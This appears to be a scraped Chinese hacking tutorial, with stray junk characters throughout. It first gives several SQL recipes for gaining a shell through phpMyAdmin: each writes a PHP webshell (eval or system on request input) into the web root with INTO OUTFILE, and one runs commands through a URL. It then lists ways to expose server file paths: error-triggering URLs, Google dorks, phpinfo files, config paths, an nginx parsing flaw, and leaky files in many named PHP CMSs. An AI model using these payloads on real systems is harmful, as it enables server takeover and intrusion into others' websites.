phpmyadmin后台拿shell

admin

方法一：
CREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL );
INSERT INTO `mysql`.`xiaoma` (`xiaoma1` )VALUES ('<?php @eval($_POST[xiaoma])?>');
SELECT xiaomaFROM study INTO OUTFILE 'E:/wamp/www/7.php';
% v& d: T$ r( w& e5 C  n----以上同时执行，在数据库: mysql 下创建一个表名为：xiaoma，字段为xiaoma1，导出到E:/wamp/www/7.php
/ V9 @8 v! V4 @一句话连接密码：xiaoma

8 R# U+ [# h# D3 D9 R方法二：
6 G5 H9 d" F9 J- S; b Create TABLE xiaoma (xiaoma1 text NOT NULL);
Insert INTO xiaoma (xiaoma1) VALUES('<?php eval($_POST[xiaoma])?>');
select xiaoma1 from xiaoma into outfile 'E:/wamp/www/7.php';
Drop TABLE IF EXISTS xiaoma;

方法三：
; M. M* K- f/ W' I
7 Z9 q" g: t4 A$ g5 M读取文件内容：    select load_file('E:/xamp/www/s.php');
) ]7 k& @% ]! k$ q
写一句话：select '<?php @eval($_POST[cmd])?>'INTO OUTFILE 'E:/xamp/www/xiaoma.php'

" |" k( p9 i8 T/ q% R, |cmd执行权限：select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'
+ Z, r! x& l; W& m1 Z% Y' b6 x+ y
& ]8 ^6 _2 G4 c* m" J2 B9 J
; M$ e3 z! R+ M/ U! U7 b; F: o方法四：
7 w/ _1 I9 d7 h( a; | select load_file('E:/xamp/www/xiaoma.php');
" u+ B  p! f: d
: x' c" @# O; y- N0 R! ` select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'
然后访问网站目录：http://www.xxxx.com/xiaoma.php?cmd=dir


: C+ E; }8 ]0 \$ l6 a- l
! b% G/ ^5 r4 L: `
3 I9 N3 R# f! B- y3 B
php爆路径方法收集 ：

8 O. c- d/ M( p* F


* v5 M) Z; [# R! v1、单引号爆路径
说明：
直接在URL后面加单引号，要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
www.xxx.com/news.php?id=149′
1 z- B: m3 V" {1 n0 u2 L! w
2、错误参数值爆路径
6 [2 @& U% R( X3 a说明：
将要提交的参数值改成错误值，比如-1。-99999单引号被过滤时不妨试试。
www.xxx.com/researcharchive.php?id=-1
, b) c3 B/ K) h8 e4 `
3、Google爆路径
说明：
( U' \$ c0 l3 \; |5 l  [7 Q' A结合关键字和site语法搜索出错页面的网页快照，常见关键字有warning和fatal error。注意，如果目标站点是二级域名，site接的是其对应的顶级域名，这样得到的信息要多得多。
% T: P4 \# d. I. o: ZSite:xxx.edu.tw warning
Site:xxx.com.tw “fatal error”

1 |8 S0 [7 i& X" P  s# f: L6 ~4、测试文件爆路径
( o% n  I) m+ p# G5 T, Y说明：
很多网站的根目录下都存在测试文件，脚本代码通常都是phpinfo()。
www.xxx.com/test.php
www.xxx.com/ceshi.php
+ y4 a8 L6 p/ f  U, J9 c% s% M9 vwww.xxx.com/info.php
# E6 G& T6 C) Z/ M6 Xwww.xxx.com/phpinfo.php
" c3 O# ^# g. Z" T1 H5 H4 _' \www.xxx.com/php_info.php
% Z4 S5 q/ \( J( u! c% cwww.xxx.com/1.php

5、phpmyadmin爆路径
说明：
) R* H& A" ]3 z* |5 h# @* j, y  v9 t一旦找到phpmyadmin的管理页面，再访问该目录下的某些特定文件，就很有可能爆出物理路径。至于phpmyadmin的地址可以用wwwscan这类的工具去扫，也可以选择google。PS：有些BT网站会写成phpMyAdmin。
1. /phpmyadmin/libraries/lect_lang.lib.php
/ S' n. _+ N9 D; h' f2 i2./phpMyAdmin/index.php?lang[]=1
3. /phpMyAdmin/phpinfo.php
4. load_file()
5./phpmyadmin/themes/darkblue_orange/layout.inc.php
& h6 `9 W- D! r! U! b0 D6./phpmyadmin/libraries/select_lang.lib.php
5 C. X  B1 Y- O  Q& `8 r: j7./phpmyadmin/libraries/lect_lang.lib.php
8./phpmyadmin/libraries/mcrypt.lib.php

* f% a$ D  K8 O% B7 e1 H6、配置文件找路径
说明：
如果注入点有文件读取权限，就可以手工load_file或工具读取配置文件，再从中寻找路径信息（一般在文件末尾）。各平台下Web服务器和PHP的配置文件默认路径可以上网查，这里列举常见的几个。

Windows:
c:\windows\php.ini                                    php配置文件
) Y# _" ^2 D/ o4 Q2 h$ P* M1 sc:\windows\system32\inetsrv\MetaBase.xml              IIS虚拟主机配置文件

Linux:
/etc/php.ini                                           php配置文件
) |+ w3 P' S2 d, ~5 }% X9 T' R/etc/httpd/conf.d/php.conf
. b6 j* h. z/ u% i/etc/httpd/conf/httpd.conf                             Apache配置文件
$ Y( N2 Z! S& ?! g/usr/local/apache/conf/httpd.conf
+ P; k" |; p. t% f/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf         虚拟目录配置文件

6 c  m3 N5 \6 [7、nginx文件类型错误解析爆路径
$ J' ?' ^) g7 C6 ?9 i( F( r0 g  [# R说明：
这是昨天无意中发现的方法，当然要求Web服务器是nginx，且存在文件类型解析漏洞。有时在图片地址后加/x.php，该图片不但会被当作php文件执行，还有可能爆出物理路径。
" ^2 L: n6 S/ Y  u- O6 Ihttp://www.xxx.com/top.jpg/x.php

8、其他
dedecms
8 n8 K# T- \' X& t/member/templets/menulit.php
; y. G; j3 S6 b; G2 a; I2 \5 ~plus/paycenter/alipay/return_url.php
plus/paycenter/cbpayment/autoreceive.php
9 Z& P" K( f( g. l- {: J8 k' R8 X* u8 vpaycenter/nps/config_pay_nps.php
0 }# Q6 \1 K2 k5 G! ]plus/task/dede-maketimehtml.php
+ E: @8 A8 v! F8 Y3 S' N6 r" hplus/task/dede-optimize-table.php
! w, j; s# }! b# t& Bplus/task/dede-upcache.php

WP
wp-admin/includes/file.php
wp-content/themes/baiaogu-seo/footer.php
5 f* C6 f) ?, p
8 X9 E7 e$ `4 Z4 P, S5 `ecshop商城系统暴路径漏洞文件
% I( p4 J; M5 s* ^/api/cron.php
/wap/goods.php
5 [! W$ ?4 E, U% I6 v& O7 v, k/temp/compiled/ur_here.lbi.php
/temp/compiled/pages.lbi.php
/temp/compiled/user_transaction.dwt.php
/temp/compiled/history.lbi.php
) R& i; F5 A- z/temp/compiled/page_footer.lbi.php
/temp/compiled/goods.dwt.php
6 c' s4 p- M$ q8 d" V/temp/compiled/user_clips.dwt.php
/temp/compiled/goods_article.lbi.php
/temp/compiled/comments_list.lbi.php
/temp/compiled/recommend_promotion.lbi.php
( L5 W* a9 R/ M3 s4 B4 Z' g/temp/compiled/search.dwt.php
/temp/compiled/category_tree.lbi.php
- _- A0 @$ N+ V$ h/temp/compiled/user_passport.dwt.php
. H' b4 F4 N% i3 C/ P" _/temp/compiled/promotion_info.lbi.php
/temp/compiled/user_menu.lbi.php
/temp/compiled/message.dwt.php
& P& N- \) W( Q0 U) H5 h/temp/compiled/admin/pagefooter.htm.php
/temp/compiled/admin/page.htm.php
/temp/compiled/admin/start.htm.php
/ p2 p" i9 b- b* e1 e4 o" B/ e7 W/temp/compiled/admin/goods_search.htm.php
/temp/compiled/admin/index.htm.php
/temp/compiled/admin/order_list.htm.php
/temp/compiled/admin/menu.htm.php
  d9 t8 Z; ~( C& r/temp/compiled/admin/login.htm.php
/temp/compiled/admin/message.htm.php
: h9 ~6 }8 Z1 i  J: ~1 O0 U5 ]9 h/temp/compiled/admin/goods_list.htm.php
/temp/compiled/admin/pageheader.htm.php
$ ^8 }# M5 ~- }5 _8 C/temp/compiled/admin/top.htm.php
! f; W' W5 I2 T2 A, j+ E% w$ a' N/temp/compiled/top10.lbi.php
( ~! h2 ^4 e4 w. g5 g6 S/temp/compiled/member_info.lbi.php
. ?9 j# s: M! b3 _3 ?/temp/compiled/bought_goods.lbi.php
/temp/compiled/goods_related.lbi.php
/temp/compiled/page_header.lbi.php
" e( t4 ~. U5 F1 I0 x* x/temp/compiled/goods_script.html.php
) ~6 E( z2 H+ [1 O; }6 K# P/temp/compiled/index.dwt.php
/temp/compiled/goods_fittings.lbi.php
/temp/compiled/myship.dwt.php
/temp/compiled/brands.lbi.php
# C0 H& d& O8 P6 M: z9 A0 b/temp/compiled/help.lbi.php
7 A/ [$ H! {9 V9 M/temp/compiled/goods_gallery.lbi.php
/temp/compiled/comments.lbi.php
& L+ Y2 O( h( q- u& k' ?/temp/compiled/myship.lbi.php
2 o# l: P0 j, C& g/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php
  Q& A& Y0 a8 q4 r2 V, Y* L/includes/modules/cron/auto_manage.php
/includes/modules/cron/ipdel.php

3 y6 G& j3 u+ z/ F& L- T6 Uucenter爆路径
8 `" a1 g; x: |6 B7 G& O+ D1 _ucenter\control\admin\db.php

DZbbs
% v' W" u# O5 L( @$ Emanyou/admincp.php?my_suffix=%0A%0DTOBY57
" n4 Y$ E$ C( h; [# o: d. x; {, _+ Q
z-blog
0 x  |3 G5 X4 H' {8 |& M- Y* radmin/FCKeditor/editor/dialog/fck%5Fspellerpages/spellerpages/server%2Dscripts/spellchecker.php
/ f. Y0 k' j' `" ~) P- U! c
1 Z& S4 X8 X: w1 A/ ]4 w# Vphp168爆路径
admin/inc/hack/count.php?job=list
" A, T2 s4 s6 p- i5 R; vadmin/inc/hack/search.php?job=getcode
admin/inc/ajax/bencandy.php?job=do
cache/MysqlTime.txt

PHPcms2008-sp4
注册用户登陆后访问
phpcms/corpandresize/process.php?pic=../images/logo.gif

5 }6 y! |- q" M+ V: `8 t9 v! U4 B! Wbo-blog
$ k' B3 x8 I, j2 i* T; G" B. kPoC:
7 b3 D! v7 i2 l' H& V/go.php/<[evil code]
CMSeasy爆网站路径漏洞
# G' B% A! G2 A, A漏洞出现在menu_top.php这个文件中
lib/mods/celive/menu_top.php
/lib/default/ballot_act.php
' ]) L6 \; F0 J0 O& q% v, qlib/default/special_act.php
2 g! A0 p7 _. l; n6 u

9 h  a% ~9 ^, F$ v" @